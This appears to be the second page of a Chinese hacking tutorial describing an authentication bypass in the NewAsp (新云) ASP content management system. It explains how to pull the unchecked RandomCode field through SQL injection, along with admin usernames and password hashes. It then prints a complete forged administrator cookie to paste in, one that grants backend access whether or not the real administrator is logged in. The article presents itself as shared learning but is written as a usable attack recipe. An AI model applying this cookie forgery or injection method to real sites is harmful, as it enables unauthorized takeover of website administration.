接着看到:
RandomCode = Newasp.GetRandomCode
Rs("LoginTime") = Now()
Rs("Loginip") = Newasp.GetUserip
可以看到RandomCode变量是直接从数据库中提取赋值的。
也就是说,RandomCode存在于数据库中,并且程序对这个变量(随即码)没有进行任何判断。
实际运用:
我们在制造注入猜解的时候,在猜字段username,password,id时可以加猜一个RandomCode字段进行猜解,然后在提交的COOKIE中找到RandomCode把我们猜解出来的数据替换原来的
例:
ASPSESSIONIDCARADBTC=PPFHKFMBMFMGDOEIMKKPDFGL; admin%5Fnewasp=AdminStatus=%B8%DF%BC%B6%B9%DC%C0%ED%D4%B1&AdminID=1&Adminflag=SiteConfig%2CAdvertise%2CChannel%2CTemplate%2CTemplateLoad%2CAnnounce%2CAdminLog%2CSendMessage%2CCreateIndex%2CAddArticle1%2CAdminArticle1%2CAdminClass1%2CSpecial1%2CCreateArticle1%2CComment1%2CAdminJsFile1%2CAdminUpload1%2CAdminSelect1%2CAuditing1%2CAddSoft2%2CAdminSoft2%2CAdminClass2%2CSpecial2%2CCreateSoft2%2CComment2%2CAdminJsFile2%2CAdminUpload2%2CAdminSelect2%2CAuditing2%2CDownServer2%2CErrorSoft2%2CAddShop3%2CAdminShop3%2CAdminClass3%2CSpecial3%2CCreateShop3%2CComment3%2CAdminJsFile3%2CAdminUpload3%2CAdminSelect3%2CAuditing3%2CAddArticle5%2CAdminArticle5%2CAdminClass5%2CSpecial5%2CCreateArticle5%2CComment5%2CAdminJsFile5%2CAdminUpload5%2CAdminSelect5%2CAuditing5%2CDownServer5%2CAddUser%2CAdminUser%2CChangePassword%2CUserGroup%2CMainList%2COnline%2CVote%2CFriendLink%2CArticleCollect%2CSoftCollect%2CUploadFile%2CRenameData%2CBackupData%2CRestoreData%2CCompressData%2CSpaceSize%2CBatchReplace&AdminGrade=999&AdminPass=9f7fa2c6858e1e77&RandomCode=(这里填写RandomCode值)&AdminName=admin
这样在提交时 不论管理员是否在线都可以直接登陆后台。
PS:文章分析的不是很专业,可能前辈们已经发现了这个漏洞,只是不愿公布,或者是公布了我没看到,总之,本着学习的精神与大家分享...
这篇文章虽然只是在得到管理员帐号和密码后的饶过登陆后台,但是还是有其闪光的一面,对于access版本的新云,就可以很好利用此漏洞,我们可以利用SQL注入暴管理员帐号和加密的密码,有些密码是很复杂的,这个时候,就可以利用文中的利用方法来饶过登陆。
上一页 [1] [2]